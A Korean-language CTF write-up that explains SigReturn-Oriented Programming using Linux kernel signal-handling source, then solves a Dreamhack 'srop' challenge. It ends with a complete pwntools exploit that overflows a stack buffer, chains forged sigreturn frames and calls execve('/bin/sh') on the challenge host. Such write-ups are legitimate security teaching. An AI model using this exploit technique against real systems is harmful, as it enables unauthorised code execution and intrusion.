개념정리
○ SROP란?
Sigreturn-oriented-programming
의 약자로 SROP라고 부른다.
Sigreturn system call을 사용하는 ROP 기법: Sigreturn system call은 시그널을 받은 프로세스가 kernel mode에서 user mode로 복귀할 때 사용하는 system call을 의미한다.
sigreturn syscall 을 이용해 모든 레지스터값을 컨트롤해서 exploit한다.
기본적으로 ROP와 똑같은 개념이지만, ROP를 수행하기위한 가젯이 부족한 경우에 사용할 수 있는 방법이다.
운영체제는 보안, 자원 관리 등의 이유로 user mode와 kernel mode를 컨텍스트 스위칭하면서 프로세스를 실행한다. 만약, 시그널이 발생한다면 kernel mode로 스위칭되어 실행된다.
시그널을 kernel mode에서 처리했다면 다시 user mode로 돌아와 프로세스의 코드를 실행해야 한다.
즉, 유저 모드의 상태를 모두 기억하고 되돌아올 수 있어야 한다.
여기서 말하는 상태란, 시그널이 발생했을 때 프로세스의 메모리, 레지스터 등이 포함된다. SROP는 sigreturn system call
를 통해 레지스터를 세팅하는데, kernel mode → user mode
로 전환될 때 레지스터 상태를 컨트롤하여 이후에 우리가 원하는 명령이 실행되도록하는 공격이 SROP라고 할 수 있다.
○ 시그널 동작
사용자가 시그널을 발생시킬 때 (Ctrl+c, Ctrl+z), 소프트웨어 이벤트가 발생할 때 (timer, 자식프로세스 종료) 처럼 시그널이 발생하면 커널에서 signal handler 를 실행시켜준다.
signal handler 은 특정한 시그널의 기본동작을 실행하거나 프로그래머가 지정한 동작(syscall, H/W interrupt, Exception)을 실행한다.
○ arch_do_signal_or_restart()
void arch_do_signal_or_restart(struct pt_regs *regs, bool has_signal)
{
struct ksignal ksig;
if (has_signal && get_signal(&ksig)) {
/* Whee! Actually deliver the signal. */
handle_signal(&ksig, regs);
return;
}
/* Did we come from a system call? */
if (syscall_get_nr(current, regs) >= 0) {
/* Restart the system call - no handlers present */
switch (syscall_get_error(current, regs)) {
case -ERESTARTNOHAND:
case -ERESTARTSYS:
case -ERESTARTNOINTR:
regs->ax = regs->orig_ax;
regs->ip -= 2;
break;
case -ERESTART_RESTARTBLOCK:
regs->ax = get_nr_restart_syscall(regs);
regs->ip -= 2;
break;
}
}
/*
* If there's no signal to deliver, we just put the saved sigmask
* back.
*/
restore_saved_sigmask();
}
이때, 프로세스는 KernelMode 로 전환되어 arch_do_signal_or_restart()
→ get_signal()
순서로 호출한다.
(리눅스 커널 5.8 버전 이하에서는 do_signal()
, 리눅스 커널 5.8 ~ 5.10에서는 arch_do_signal()
, 그 보다 상위 버전에서는 arch_do_signal_or_restart()
이다.)
get_signal()
로 signal handler 등록여부를 확인한 후, 등록되어있으면 handle_signal()
을 호출한다.
○ handle_signal()
static void
handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
...
failed = (setup_rt_frame(ksig, regs) < 0);
if (!failed) {
fpu__clear_user_states(fpu);
}
signal_setup_done(failed, ksig, stepping);
}
handle_signal()
내부에서는 setup_rt_frame()
를 호출한다.
regs->si = (unsigned long)&frame->info;
regs->dx = (unsigned long)&frame->uc;
regs->ip = (unsigned long) ksig->ka.sa.sa_handler;
regs->sp = (unsigned long)frame;
setup_rt_frame()
에서는 여러가지 레지스터들에 정보를 세팅하고 rip 레지스터에 핸들러의 주소를 삽입한다. 이후에 kernel mode에서 시그널과 관련된 요청을 처리한 경우, context switching
과정에서 user mode의 정보를 복구해야한다.
이때, 사용되는 시스템 콜이 sigreturn 이다.
○ restore_sigcontext()
static bool restore_sigcontext(struct pt_regs *regs,
struct sigcontext __user *usc,
unsigned long uc_flags)
{
struct sigcontext sc;
/* Always make any pending restarted system calls return -EINTR */
current->restart_block.fn = do_no_restart_syscall;
if (copy_from_user(&sc, usc, CONTEXT_COPY_SIZE))
return false;
#ifdef CONFIG_X86_32
set_user_gs(regs, sc.gs);
regs->fs = sc.fs;
regs->es = sc.es;
regs->ds = sc.ds;
#endif /* CONFIG_X86_32 */
regs->bx = sc.bx;
regs->cx = sc.cx;
regs->dx = sc.dx;
regs->si = sc.si;
regs->di = sc.di;
regs->bp = sc.bp;
regs->ax = sc.ax;
regs->sp = sc.sp;
regs->ip = sc.ip;
#ifdef CONFIG_X86_64
regs->r8 = sc.r8;
regs->r9 = sc.r9;
regs->r10 = sc.r10;
regs->r11 = sc.r11;
regs->r12 = sc.r12;
regs->r13 = sc.r13;
regs->r14 = sc.r14;
regs->r15 = sc.r15;
#endif /* CONFIG_X86_64 */
/* Get CS/SS and force CPL3 */
regs->cs = sc.cs | 0x03;
regs->ss = sc.ss | 0x03;
regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
/* disable syscall checks */
regs->orig_ax = -1;
#ifdef CONFIG_X86_64
/*
* Fix up SS if needed for the benefit of old DOSEMU and
* CRIU.
*/
if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
force_valid_ss(regs);
#endif
return fpu__restore_sig((void __user *)sc.fpstate,
IS_ENABLED(CONFIG_X86_32));
}
sigreturn이 호출되면, restore_sigcontext()
가 실행된다.
restore_sigcontext()
를 보면 내부적으로 스택에 저장된 데이터를 레지스터에 저장함으로써 시그널 호출로 user mode → kernel mode
로 컨텍스트 스위칭하는 과정에서 저장해둔 레지스터 값들을 복구하는 것을 확인할 수 있다.
레지스터 값을 복구하는 과정의 데이터를 우리가 조작할 수 있다면, 컨텍스트 스위칭 이후에는 우리가 원하는 명령을 실행할 수 있다.
이런 방식의 공격을 SROP라고한다.
○ SROP 요약
정리하자면, SROP는 sigreturn 시스템 콜을 활용해서 ROP를 수행하는 기법이다.
sigreturn 시스템 콜이 실행되기 전에 스택에 레지스터에 복사할 값들을 저장하고 sigreturn을 콜하여 레지스터에 의도한 데이터들이 저장되도록한다. 레지스터에 의도한 데이터가 들어간다는 의미는 컨텍스트 스위칭 이후에 원하는 명령이 실행되도록 유도할 수 있다는 것을 뜻한다.
○ 전제 조건 (x64 기준)
- overflow 발생
- rax 레지스터 제어 가능
syscall gadget
존재
checksec
└─# checksec srop
[*] '/root/dream/srop/srop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RELRO, PIE 보호기법이 적용되있지않음으로 ROP가 가능하다.
문제풀이
○ srop.c
#include <unistd.h>int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
코드를 분석해보자.
buf[16]
에 최대 1024 바이트만큼 입력값을 저장gadget()
→pop %rax ; syscall ; ret
asm 코드 작성
정리하자면, BOF가 가능하고 gadget()
에서 선언된 asm 코드를 가젯으로 사용할 수 있다.
SROP에 대해 알고있는 독자라면, asm으로 작성된 가젯과 제목을 토대로 SROP를 실습하는 문제라는 것을 알 수 있다.
우리는 [개념정리]
에서 SROP에 대해 알아봤으니 개념을 토대로 풀이를 진행해보자.
위에서 언급했듯이 SROP를 수행하기위해서는 3가지 전제조건
이 필요하다.
- overflow 발생
- buf에서 발생
- rax 레지스터 제어 가능
- gadget()에 선언
- syscall gadget 존재
- gadget()에 선언
srop.c에서는 위와 같이 3가지 전제조건이 모두 만족함으로 SROP로 exploit을 수행할 수 있다.
우리의 목표는 SROP로 쉘을 얻는 것임으로 execve("/bin/sh", 0, 0)
를 실행해야한다. 하지만 "/bin/sh"
라는 문자열이 srop.c
에 선언되어있지않음으로 SROP로 bss 영역에 "/bin/sh"
를 저장해야한다.
SROP로 2가지 명령을 실행해야한다.
1) read(0, [bss addr], 0x1000)
2) execve("/bin/sh", 0, 0)
2가지 명령을 실행하기위한 SROP payload
틀은 동일함으로 payload 틀부터 구성해보자.
"A" * 16 + "B" * 8 + "pop %rax ; syscall ; ret" + 15 + [SROP frame]
payload는 위와 같이 구성할 수 있다.
buf와 SFP는 임의의 값으로 덮는다. "A"
와 "B"
는 RET 이전까지 데이터를 덮어씌운 것이다.
다음으로 pop %rax ; syscall ; ret
을 실행하는데, rax에는 15가 저장된다.
15는 sigreturn 시스템 콜 번호임으로 syscall이 호출되기전에 rax에 저장해야한다.
다음으로 syscall이 실행되면, [SROP frame]으로 구성한 데이터들이 sigcontext 구조체 구성에 맞게 레지스터에 저장된다.
원래 [SROP frame]으로 구성할 데이터는 sigcontext 구성 순서에 맞춰서 작성해야하지만, 우리는 pwntool에서 제공하는 SigreturnFrame()
을 이용해서 쉽게 작성해보자.
○ read(0, bss, 0x1000)
# read(0, bss, 0x1000)
frame = SigreturnFrame()
frame.rax = 0 # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
코드는 read(0, bss, 0x1000)
을 실행하기위한 [SROP frame]을 작성한 코드다.
먼저, rip는 syscall로 조작하여, syscall이 실행되도록했다.
이때, rax는 0임으로 syscall이 동작할 때 SYS_read
가 실행된다. read()
의 인자는 rdi, rsi, rdx
순서로 사용됨으로 각각의 순서에 맞게 0, bss, 0x1000
의 데이터를 넣었다.
추가적으로 rsp를 bss 주소로 조작함으로써 read(0, bss, 0x1000)
으로 작성할 execve("/bin/sh", 0, 0)
의 SROP 명령을 이어서 실행하도록 구성한다.
rsp를 bss로 조작함으로써 buf에 작성한 payload와 read(0, bss, 0x1000)
로 작성한 bss영역의 payload가 이어진다고 생각하면 편하다.
○ execve("/bin/sh", 0, 0)
# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500
frame2.rdi = bss + 0x108
다음은 execve()다.
rip는 syscall, rax는 execve 시스템 콜 번호로 구성해서 execve()를 실행하도록 작성한다.
다음으로 rdi는 "/bin/sh"
가 저장된 bss 영역의 주소를 넣어줌으로써 "/bin/sh"
가 1번째 인자로 들어가도록 한다.
exploit
from pwn import *
context.arch = "x86_64"
p = remote("host3.dreamhack.games", 18376)
elf = ELF("./srop")
gadget = next(elf.search(asm("pop rax; syscall")))
syscall = next(elf.search(asm("syscall")))
read_got = elf.got['read']
binsh = b"/bin/sh\x00"
bss = elf.bss()
# read(0, bss, 0x1000)
frame = SigreturnFrame()
frame.rax = 0 # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += bytes(frame)
p.sendline(payload)
# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += binsh
p.sendline(rop)
p.interactive()
reference
[dreamhack] Exploit Tech: SigReturn-Oriented Programming
[dreamhack] Background: SigReturn-Oriented Programming
https://jiravvit.tistory.com/entry/Sigreturn-oriented-programming-SROP